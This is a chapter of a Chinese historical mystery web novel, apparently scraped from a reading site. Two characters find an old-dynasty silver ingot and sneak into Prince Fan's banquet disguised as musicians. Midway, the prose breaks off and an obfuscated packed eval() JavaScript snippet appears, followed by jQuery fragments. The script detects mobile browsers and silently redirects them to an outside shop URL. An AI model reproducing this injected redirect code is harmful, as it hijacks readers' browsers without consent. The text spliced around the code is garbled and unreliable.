默认冷灰
24号文字
方正启体

26. 第 26 章

作者:雀燕本书字数:K更新时间:
    “你去过梁国吗?”殷祎突然没头没脑道,“那里也很美,不同于大周朝的美。戈壁滩终年黄沙蔓延,很少能看到像这样脆嫩的景色,但贫瘠的土地,孕育出了一群勤劳朴实的子民。他们从不四处流窜,生在哪里,便死在哪里,上天赋予什么,便接受什么,无论是富贵,还是苦难。”


    温和的声音娓娓道来,卫姝转身看去,雾气氤氲,她看不清他脸上的表情。


    “想家了吧?”卫姝说。


    “嗯,没有一刻不想。”殷祎迈步到她身边,用力吸了一口湿润的空气,“现在最想,想把眼前的一幕带回去,让我大梁子民也看看。”


    看看上天是多么的不公平。


    卫姝不知道他内心深处的想法,只当他思乡心切,心中不忍,突然想起前两日兑换的乐器使用卡尚未到期,问道:“我吹首你家乡的曲子给你听吧?”


    话音落下,卫姝才想起,自己身上并未带埙,转而尴尬道:“不过我只带了笛子,你只能将就将就了。”


    殷祎没说话,过了好一会,他摇了摇头,重重叹出一口气,“你是个好姑娘,就是太傻了。”


    刚被吊起的同情心顷刻间烟消云散,卫姝追在他身后质问,得了个“太容易相信别人”的结论。


    所以,殷祎又在装可怜骗她?


    就在卫姝暗戳戳鄙夷的时候,脚底突然被什么东西硌了一下,她没多想,以为是个石头,随脚踢了,却眼尖地瞥见那石头闪着金属的光芒。


    “一锭银子?”卫姝将手里的东西举高,示意殷祎看过来,“但怎么好像和平时见到的不太一样?”


    大周朝建立以后,官方便重新统一了货币的度量衡,每一分钱币,都被烙上了官印,即为一个“周”字,而眼下,这锭银子的底部,印的却是一个“夏”字。


    虽说重新统一了货币,但为了安定民心,朝廷初期发布公告,以等价的银钱收回了前朝的银钱,照理,市面上流通的应当都是相同的货币。


    殷祎:“你不知道大夏朝吗?”


    卫姝摇了摇头。


    殷祎眯眼,疑惑地看向她,自己来大周朝不过三年,连他都知道前前朝的事情,卫姝怎会一点不知?记得没错的话,卫儒贤便是在大夏朝入仕的,就没和她说过?


    “不过那都是近二十年的老黄历了,只是可惜,唯一一个开创了女子也可继承大统的朝代,最后也难逃灭亡的结局。”


    “怎么灭亡的?是治国出了问题?还是民众暴乱?”卫姝追问。


    见卫姝似乎十分感兴趣,殷祎盘腿席地而坐,便多说了些,甚至将民间流传的,分不清真假的消息也一并告知。


    一种说法是,大夏朝最后一位女王是守卫国门战死的。不过也有记载说,敌军入侵的时候,女王扮成宫女出逃,却被困于大火之中,这才导致她没能逃出来。


    不过一个国家能够开创历史之先河,其中自然有它厉害之处,卫姝不信,能在一众男儿之中杀出来,最后登上皇位的女子,会是个贪生怕死之徒。


    然而这都是题外话,卫姝现在真正关心的,是这前前朝的货币,怎么会出现在这?


    “会不会是徐襄逃跑的时候,不小心丢的?”卫姝问。


    殷祎思考了两秒,断言道:“不会。如果你是徐襄,你留着前前朝的货币是为什么呢?”


    卫姝换位想了一会,点了点头。没错,有资格为朝廷提供兵器的炼铁行,往来交易数额定然十分庞大,既然大周统一了货币,那徐襄留着大夏朝的货币,除了收藏,对他没有任何好处。


    可周围又无人居住,平日也不像会有人时常经过此地的样子,这银子......


    殷祎见她陷入沉思,提点道:“难道就不会有人早就知道,特地守在此地等徐襄现身吗?”


    这话倒是提醒了卫姝,她想起茅屋内火盆边的脚印,做了个大胆的猜测。


    在兵部侍郎与度支司郎中双双被抓之后,徐襄或许发现形势不妙,于是躲到郊外避避风头。那日他狩猎后,刚生完炉子不久,听闻外面来了群可疑之人,于是匆忙躲到地下,打翻了火盆。


    秘密之地被人盯上,他心中不安,简单收拾了些细软,预备换个地方藏身,谁料钻过树洞后,刚好碰见等候他的人。说不定他身体有一半还卡在树中,抬头就被一麻袋罩住了,慌乱中,他胡乱抓着身边人,这才有了地上的银子。


    若真如这般猜想,银子就好解释了,可徐襄看来是真的没了。


    有人特地候在此地......卫姝细想后,汗毛直立,要真是这样,说明有第三方正在介入此事!


    几乎是同时,兵部侍郎庞奉孝的死因跳入她的脑海。


    会是同一人所为吗?


    “走吧,”


    殷祎的声音打断卫姝的思绪,她抬头,看见殷祎正往前走,于是追了上去,“我们现在去哪?”


    “你忘了吗?”殷祎回头,露出一个略显狡诈的笑,“军饷流向的,可不是只有一个徐襄,走,带你抓马卜笙去。”


    等二人回到城中,酉时早已过了,东西大街上,不少店铺陆陆续续关了门。


    卫姝蜷在狭小的试衣间,大气不敢出,殷祎站在她前面,同样只敢露出一只眼睛查看外面的动向,直到关门声传来,二人才同时呼出一口气。


    今晚樊王宴请宾客,他们要假扮成民间乐师,混进王府,趁机找出马卜笙。


    “但是有必要偷衣服吗?”卫姝从殷祎身旁闪过,抖了抖臂弯中,殷祎为自己选的男装。


    “欸,这就不对了。”殷祎边给自己贴假胡子,边辩解,“此为借,两者不可一概而论。”


    “你确定会回来还?”


    殷祎手上的动作顿了一下,几秒后,他往柜台放了点银子,“我买了,这便不能算偷。”


    没办法,樊王见过他俩,要是不做好伪装,要是被认出来就不好了。倘若大大方方来买,万一发生点什么,樊王通过他们的穿着,找到店家,到时候两边一对上,还是要暴露。


    唉!他一正经皇子,今日竟要沦落至此,他找谁诉苦去。


    登门的客人多了,王府的门仆明里暗里得了不少好处,笑的眼尾的褶子几乎伸到头发里。卫姝以半边面具遮面,低头跟在殷祎身后,本以为少不得一番扯皮,谁料眼睁睁见门仆悄悄收下一包银子后,一句话也没说,就这么轻易让他们进去了。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035908|192385||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“你就这样跟在我身后,别抬头看人,我带你去后院。”殷祎低声道,其间若有人看过来,也只当没瞧见,眼睛像是长在头顶上,俨然一副名家的架势。


    后院有戏班正在练习,卫姝偷偷扫了一眼,一名花旦正摆弄着老生的胡子,玉葱似的手指,几秒便扎了个小辫。


    那老生也不恼,把长枪往腋下一夹,自去解结。


    卫姝看着他,他恰巧也看过来,两人目光对上,老旦似乎愣了一下,随后越过卫姝,望向殷祎,几不可察地点了下头。


    尽管动作很微小,但卫姝肯定,这两人认识,怪不得殷祎底气这么足呢,原来早在王府打点好人了。


    安啦安啦,这下稳了。


    卫姝腰杆立马挺直了,也学殷祎昂首正视前方。


    看出她改变的殷祎忍不住在心里笑出声,虽然十分不想打击到她,但考虑到大局,还是轻声提醒道:“那是葛老。”


    ???


    艾玛,狂早了,自己人算什么打点好了!


    卫姝又装起了鹌鹑......


    王府有自己固定培养的舞姬乐师,为了不惹人怀疑,殷祎要带卫姝先来选乐器,她那支竹笛樊王见过,自是不能亮于人前。


    卫姝草草挑了支萧,无他,拿着轻便,更何况到了万不得已的时候,还能当个趁手的武器防身。


    就在二人往外走时,一妙音娘子突然叫住了他们,“你们是谁,从前怎么没见过?”


    卫姝咽了口口水,正寻思说些什么搪塞过去,殷祎却抢先将她挡了个严实,少年骨架尚未完全长成,但已有了男子气概。


    卫姝听见他故意闷着声音,语气生硬道:“我们是兵部何尚书家的乐师,特来为樊王暖场,这是我师弟,她嗓子有疾,说不了话,还望娘子不要见怪。”


    话音落下,卫姝站出来拱手略微行了一礼,又怕生似的躲到殷祎身后。


    那人一听是何尚书的人,也不敢再多问,略回了一礼,转身继续自己的事去了。


    以防再有人盘问,两人不敢多耽搁,寻了处角落藏身,等宴席开始,众人都忙起来时,将空屋子挨个查看了一遍。


    然而却并未发现关于马卜笙的踪迹。


    “我明明听到樊王只说徐襄不见了,难道是我猜错了,马卜笙根本不在他手里。”卫姝挠了挠头,为自己做出的错误判断自责道。


    前院歌舞生平,觥筹交错,朝中不少重臣纷纷举杯,殷勤地巴结着樊王,更有甚者,竟大逆不道地言及樊王当年身为太子之事。


    “要说谁为我大周做出的贡献最大,当莫过于王爷!试问历朝历代,有几位太子亲自上阵杀敌的,更何况王爷今年还平定了吐蕃,其英勇,日后必定流芳千古,为世人之典范。”


    此言一处,抛砖引玉地带动了无数奉承之词,引经据典,堪比科举大考,竟比台上歌姬唱的还好听。


    卫姝听着这些言论,心中既觉得好笑,又觉得可悲。都道文死谏,武死战,这些士大夫饱读诗书,此刻却如哈巴狗一般,使尽浑身解数讨好樊王,身上哪还有半点文人风骨。


    就在这时,欢笑声戛然而止,不知谁突然尖叫了一声:“死人啦!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)